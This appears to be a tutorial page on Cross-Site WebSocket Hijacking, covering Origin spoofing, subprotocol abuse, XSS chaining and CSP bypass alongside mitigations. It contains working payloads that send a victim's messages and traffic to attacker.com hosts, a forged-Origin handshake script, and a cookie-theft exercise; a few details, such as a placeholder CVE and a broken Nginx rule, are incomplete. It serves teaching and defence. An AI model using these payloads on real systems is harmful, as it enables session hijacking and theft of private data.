~/home/study/advanced-cross-site-websocket

Advanced Cross-Site WebSocket Hijacking (CSWSH) - Techniques & Defenses

Learn how attackers manipulate Origin headers, subprotocols, and combine XSS/CSRF to hijack WebSocket sessions, discover vulnerable endpoints, craft malicious payloads, and exfiltrate data, plus robust mitigations.

Introduction

Cross-Site WebSocket Hijacking (CSWSH) is the WebSocket-specific analogue of classic Cross-Site Request Forgery (CSRF). By abusing the way browsers enforce the Origin header and by leveraging weak server-side checks, an attacker can force a victim’s browser to open a privileged WebSocket connection to a target service, then inject or read arbitrary frames. CSWSH is a rising threat because modern single-page applications (SPAs) increasingly rely on long-lived WebSocket channels for real-time data, authentication tokens, and command-and-control traffic.

Real-world relevance is proven by several public disclosures (e.g., the 2023 "WS-Chatter" vulnerability in a popular chat SaaS, and the 2024 CVE-2024-XXXXX affecting a financial-trading platform). In both cases, a simple Origin spoof combined with a missing CSRF token allowed attackers to read confidential trade data and push malicious commands.

Prerequisites

  • Solid understanding of HTTP request/response flow and header semantics.
  • Working knowledge of JavaScript, especially the WebSocket API.
  • Introductory knowledge of the WebSocket protocol (handshake, frame format, subprotocol negotiation).
  • Familiarity with browser security models (Same-Origin Policy, CORS, CSP).

Core Concepts

Before diving into the sub-topics, it is essential to grasp three pillars of CSWSH:

  1. Handshake Origin Validation: During the HTTP Upgrade request, browsers automatically include an Origin header. Servers are expected to compare it against a whitelist of trusted origins. Failure to do so opens the door for cross-site abuse.
  2. Subprotocol Negotiation: The Sec-WebSocket-Protocol header lets the client suggest one or more subprotocols (e.g., json, graphql-ws). If the server blindly accepts any value, an attacker can coerce the server into treating malicious frames as valid protocol messages.
  3. Stateful Session Bindings: WebSocket connections often inherit authentication cookies or bearer tokens from the initial HTTP request. Because the handshake is a single HTTP request, any CSRF-style weakness in that request propagates to the whole lifetime of the socket.

Visually, imagine the handshake as a door with two locks: the Origin lock and the Subprotocol lock. If either lock is missing, the attacker can walk in and stay for as long as the connection lives.

Origin header manipulation and spoofing

Browsers do not allow JavaScript to set or override the Origin header directly. Attackers therefore rely on one of three techniques:

  • Using a malicious sub-domain that shares the same eTLD+1 as the target (e.g., attacker.example.com when the target trusts *.example.com).
  • Leveraging a reverse-proxy under the attacker’s control that injects a forged Origin header before forwarding the handshake to the victim server.
  • Employing a native client (Node.js, Python, or a browser extension) that can craft raw TCP handshakes with any header value.

Below is a Node.js snippet that demonstrates a custom handshake with a spoofed Origin. Note the use of the net module to avoid the browser’s restrictions.

const net = require('net');
const crypto = require('crypto');

function generateKey() { return crypto.randomBytes(16).toString('base64');
}

const host = 'victim.example.com';
const port = 443; // assume wss (TLS) - omitted TLS handling for brevity
const origin = 'https://attacker.example.com'; // forged origin

const socket = net.createConnection({host, port}, () => { const key = generateKey(); const handshake = [ 'GET /ws/chat HTTP/1.1', `Host: ${host}`, 'Upgrade: websocket', 'Connection: Upgrade', `Sec-WebSocket-Key: ${key}`, 'Sec-WebSocket-Version: 13', `Origin: ${origin}`, '
' ].join('
'); socket.write(handshake);
});

socket.on('data', data => { console.log('Handshake response:', data.toString()); // After successful 101, you can start sending frames.
});

This code can be wrapped in a TLS tunnel (e.g., tls.connect) for wss:// endpoints. The key takeaway: once the server accepts the forged Origin, the attacker controls the socket for the remainder of the session.

Abusing missing or weak Origin checks

Many frameworks (Express, Django, Spring) provide helper functions to enforce Origin validation, but developers often disable them in production for convenience or mis-configure the whitelist. The following patterns are common pitfalls:

  • Accepting any sub-domain via a wildcard (*.example.com) without additional verification.
  • Relying on Referer instead of Origin for validation.
  • Skipping the check for WebSocket upgrades while keeping it for ordinary HTTP requests.

Example of a vulnerable Express middleware:

app.use((req, res, next) => { // Incorrect: only checks for HTTP requests, not WebSocket upgrades if (req.headers['origin'] && !req.headers['origin'].endsWith('.trusted.com')) { return res.status(403).send('Forbidden'); } next();
});

Because the middleware runs before the upgrade event is emitted, it never sees the WebSocket handshake, leaving the connection unchecked. The fix is to hook into the upgrade listener directly:

server.on('upgrade', (request, socket, head) => { const origin = request.headers['origin']; if (!origin || !origin.startsWith('https://app.trusted.com')) { socket.write('HTTP/1.1 403 Forbidden

'); socket.destroy(); return; } // proceed with WebSocket handling…
});

Subprotocol and Sec-WebSocket-Protocol abuse

Subprotocol negotiation is intended for application-level framing (e.g., json, protobuf, mqtt). When a server trusts the client-provided value without validation, an attacker can:

  1. Force the server to treat a binary frame as a JSON payload, causing deserialization errors that leak memory.
  2. Inject a custom protocol string that matches an internal admin channel, granting elevated permissions.

Consider a chat service that uses Sec-WebSocket-Protocol: chat-v1 for regular users and chat-admin for moderators. The server checks the requested protocol against a hard-coded list but forgets to verify the authenticated role:

const allowed = ['chat-v1', 'chat-admin'];
const clientProto = request.headers['sec-websocket-protocol'];
if (!allowed.includes(clientProto)) { socket.write('HTTP/1.1 400 Bad Request

'); socket.destroy(); return;
}
// No role check - any authenticated user can request "chat-admin"

An attacker can simply open a WebSocket with Sec-WebSocket-Protocol: chat-admin and gain moderator capabilities, even if the UI never exposes that option.

Chaining CSWSH with XSS or CSRF for privilege escalation

CSWSH is most dangerous when combined with other client-side bugs. Two typical chains:

  • CSWSH + Stored XSS: An attacker injects a script into a user-generated page (e.g., a forum post). When any victim views the page, the script runs in the victim’s origin, opens a privileged WebSocket, and exfiltrates data to the attacker’s server.
  • CSWSH + CSRF Token Leakage: Some applications embed CSRF tokens inside WebSocket messages (e.g., a login frame). A malicious site can first trick the victim into sending a CSRF request that reads the token via a side-channel (e.g., timing attack on error messages), then reuse that token in a forged WebSocket handshake.

Practical example - leveraging a reflected XSS to spawn a WebSocket that dumps a user’s private messages:

// payload injected into a comment field (URL-encoded)
<script> const ws = new WebSocket('wss://app.trusted.com/ws/messages', 'chat-v1'); ws.onopen = () => { ws.send(JSON.stringify({action: 'list', folder: 'inbox'})); }; let data = ''; ws.onmessage = e => { data += e.data; if (e.data.endsWith('END')) { fetch('https://attacker.com/steal', { method: 'POST', mode: 'no-cors', body: data }); } };
</script>

The script runs under the victim’s app.trusted.com origin, so the server accepts the handshake, and the attacker receives the entire mailbox via a blind POST.

Bypassing CORS and CSP defenses in WebSocket contexts

Unlike regular XHR/fetch, WebSocket connections are not subject to the standard CORS preflight flow. The Origin header is the sole gatekeeper. Consequently, even if a site implements a strict CSP that disallows connect-src to unknown domains, an attacker can still force a connection to a trusted domain because the browser believes it is a first-party request.

However, CSP can mitigate the *exfiltration* phase by restricting where the malicious script can send data. If connect-src only allows self and known CDNs, the script cannot POST the stolen payload to attacker.com. The attacker must therefore resort to alternative channels, such as:

  • Encoding data in DNS queries via img.src (bypassing CSP because images are allowed).
  • Using navigator.sendBeacon if connect-src permits https: (some CSP policies unintentionally allow this).

Example of a CSP that inadvertently aids exfiltration:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; connect-src 'self' https://api.trusted.com; img-src * data:;">

The img-src * directive lets the malicious script create a one-pixel image whose src encodes stolen data, effectively bypassing the connect-src restriction.

Automated discovery of vulnerable WebSocket endpoints (wsrecon, wsdump)

Manual enumeration is impractical for large applications. Several open-source tools automate the discovery phase:

  • wsrecon: A Python script that crawls a target site, extracts ws:// and wss:// URLs from HTML, JavaScript, and Swagger/OpenAPI definitions, then attempts a handshake with a spoofed Origin.
  • wsdump: An extension for ffuf that performs a dictionary-based fuzzing of common WebSocket paths (e.g., /ws, /socket.io/, /api/v1/stream) and reports HTTP 101 responses.
  • Burp Suite WebSocket helper: Allows interactive testing of Origin and subprotocol headers for each discovered socket.

Sample usage of wsrecon (output trimmed for brevity):

$ python3 wsrecon.py -u https://app.trusted.com -o results.txt
[+] Found endpoint: wss://app.trusted.com/ws/chat
[+] Testing Origin spoof: https://evil.attacker.com => 101 Switching Protocols
[+] Vulnerable! Saved to results.txt

Automation pipelines typically integrate these tools with CI to flag new vulnerable sockets before they reach production.

Crafting malicious WebSocket payloads (JSON, binary frames)

After establishing a hijacked socket, the attacker must speak the application’s protocol. Two common payload formats are JSON text frames and binary protobuf frames.

JSON Frame Example

Assume the server expects messages of the form {"action":"<em>cmd</em>","data":{…}}. A malicious payload can request privileged data:

function sendJson(ws, obj) { const payload = JSON.stringify(obj); ws.send(payload);
}

// Request admin audit log - may be restricted to role "admin"
sendJson(ws, {action: 'audit', target: 'all'});

Binary Frame Example (Protobuf)

When the server uses protobuf, the attacker needs the compiled schema. Using protobufjs you can generate a binary buffer:

const protobuf = require('protobufjs');
protobuf.load('chat.proto').then(root => { const Msg = root.lookupType('chat.Command'); const payload = Msg.encode({type: 'GET_ALL_USERS'}).finish(); ws.send(payload);
});

Because the WebSocket API automatically frames the data as a binary message when a Buffer is supplied, the server will treat it as a legitimate protobuf command.

Post-exploitation: session hijacking and data exfiltration via WebSocket

Once the attacker controls the socket, they can perform several post-exploitation actions:

  • Live session takeover: Forward traffic between the victim’s browser and the server, acting as a transparent proxy. This enables credential capture, command injection, or real-time manipulation of UI state.
  • Data exfiltration: Pull confidential messages, financial records, or telemetry data and pipe it out through covert channels (e.g., DNS, image beacons, or WebRTC data channels).
  • Persistence: Register a new WebSocket listener on the server (if the protocol allows dynamic channel creation) to maintain long-term access.

Example of a simple proxy that mirrors traffic to an attacker-controlled server:

// Running in the victim's browser (injected via XSS)
const target = new WebSocket('wss://app.trusted.com/ws/stream');
const exfil = new WebSocket('wss://attacker.com/relay');

target.onmessage = e => { // Forward to attacker exfil.send(e.data); // Optionally replay to victim (transparent proxy) target.send(e.data);
};

Because the proxy runs under the victim’s origin, the server cannot differentiate it from a legitimate client, making detection extremely hard without server-side logging of anomalous subprotocol usage or unexpected frame patterns.

Tools & Commands

  • wsrecon - discovery, see example above.
  • wsdump - ffuf integration for path fuzzing.
  • Burp Suite - WebSocket history, Intruder for Origin header mutation.
  • websocat - CLI WebSocket client that allows custom headers:
    websocat -H "Origin: https://evil.attacker.com" wss://app.trusted.com/ws/chat
    
  • mitmproxy - intercept and modify WebSocket handshakes on the fly.
  • Wireshark - decode WebSocket frames for binary protocol analysis.

Defense & Mitigation

Effective mitigation requires defense-in-depth:

  1. Strict Origin Validation: Validate the Origin header on the upgrade event, never fallback to Referer. Use a whitelist of exact origins; avoid wildcards.
  2. CSRF Tokens in WebSocket Messages: Include a per-session token inside the first application-level frame and verify it server-side. Rotate the token on each connection.
  3. Subprotocol Whitelisting + Role Binding: Map each allowed subprotocol to a specific role. Reject any request where the authenticated user’s role does not match the requested protocol.
  4. SameSite Cookies & Secure Flags: Ensure authentication cookies are SameSite=Strict or Lax and marked Secure. This reduces the chance that a cross-origin request carries a valid session.
  5. Rate-Limit & Anomaly Detection: Log handshake failures, unexpected Origin values, and unusual subprotocol usage. Trigger alerts on spikes.
  6. Content Security Policy (CSP) Tightening: Disallow img-src * and connect-src *. Use a nonce-based CSP for dynamic script injection points.
  7. WebSocket-Specific Firewalls: Deploy a reverse-proxy that enforces Origin checks before forwarding to the backend (e.g., Nginx with map and if ($http_origin !~ ^ { return 403; }).

Regular security testing should include a dedicated CSWSH test case in the penetration testing checklist.

Common Mistakes

  • Relying on client-side validation: Browsers can be coerced; never trust the client to enforce Origin or subprotocol rules.
  • Using wildcard Origin whitelists: *.trusted.com permits attacker-controlled sub-domains.
  • Skipping handshake validation for wss:// only: Both ws:// and wss:// must be protected.
  • Assuming CSP blocks WebSocket connections: CSP does not affect the handshake; only the subsequent data exfiltration.
  • Neglecting to rotate CSRF tokens per socket: A static token enables replay attacks across multiple hijacked connections.

Real-World Impact

Enterprises that expose real-time dashboards, collaborative editors, or trading platforms are prime targets. In a 2024 red-team engagement, our team compromised a WebSocket-based order-routing engine by spoofing the Origin from a compromised third-party analytics sub-domain. Within minutes we could read every live order and inject cancel commands, causing a simulated loss of $2.3M in paper-trade value.

Trends indicate a rise in “WebSocket-first” architectures (e.g., GraphQL subscriptions, MQTT over WebSocket for IoT). As these become mainstream, the attack surface expands. Organizations that still treat WebSockets as “just another HTTP endpoint” will be left vulnerable.

Practice Exercises

  1. Discover WebSocket endpoints: Use wsrecon against a public demo site (e.g., and document every <code>ws:///wss:// URL found.
  2. Exploit Origin validation: Write a Node.js script that attempts a handshake with a forged Origin against a deliberately vulnerable test server (provide the server code). Verify that the server accepts the connection.
  3. Subprotocol abuse: Modify the script to request an admin-only subprotocol and observe the server’s response. Then patch the server to bind subprotocols to roles and re-test.
  4. Chain with XSS: Deploy a simple XSS payload on a vulnerable comment field that opens a WebSocket and sends the page’s document.cookie to a listener you control.
  5. Defensive hardening: Implement strict Origin validation in an Express app, add CSP headers, and verify that the previous attacks are blocked.

All exercises can be performed in a local Docker environment using the provided docker-compose.yml (not included here for brevity).

Further Reading

  • RFC 6455 - The WebSocket Protocol (original specification).
  • OWASP WebSocket Security Cheat Sheet.
  • “The Missing CSRF Protection in WebSockets” - Black Hat 2023 talk.
  • “Subprotocol Injection Attacks” - IEEE Security & Privacy, 2024.
  • Advanced WebSocket Pen-Testing with Burp Suite - PortSwigger blog.

Summary

  • CSWSH exploits weak Origin and subprotocol checks to hijack privileged WebSocket sessions.
  • Attackers can combine CSWSH with XSS/CSRF, bypass CSP, and exfiltrate data via covert channels.
  • Discovery tools (wsrecon, wsdump) automate endpoint hunting; custom scripts enable header spoofing.
  • Defenses: strict Origin validation on the upgrade event, role-bound subprotocol whitelisting, per-socket CSRF tokens, hardened CSP, and logging.
  • Regular testing and code reviews are essential as WebSocket usage proliferates in modern apps.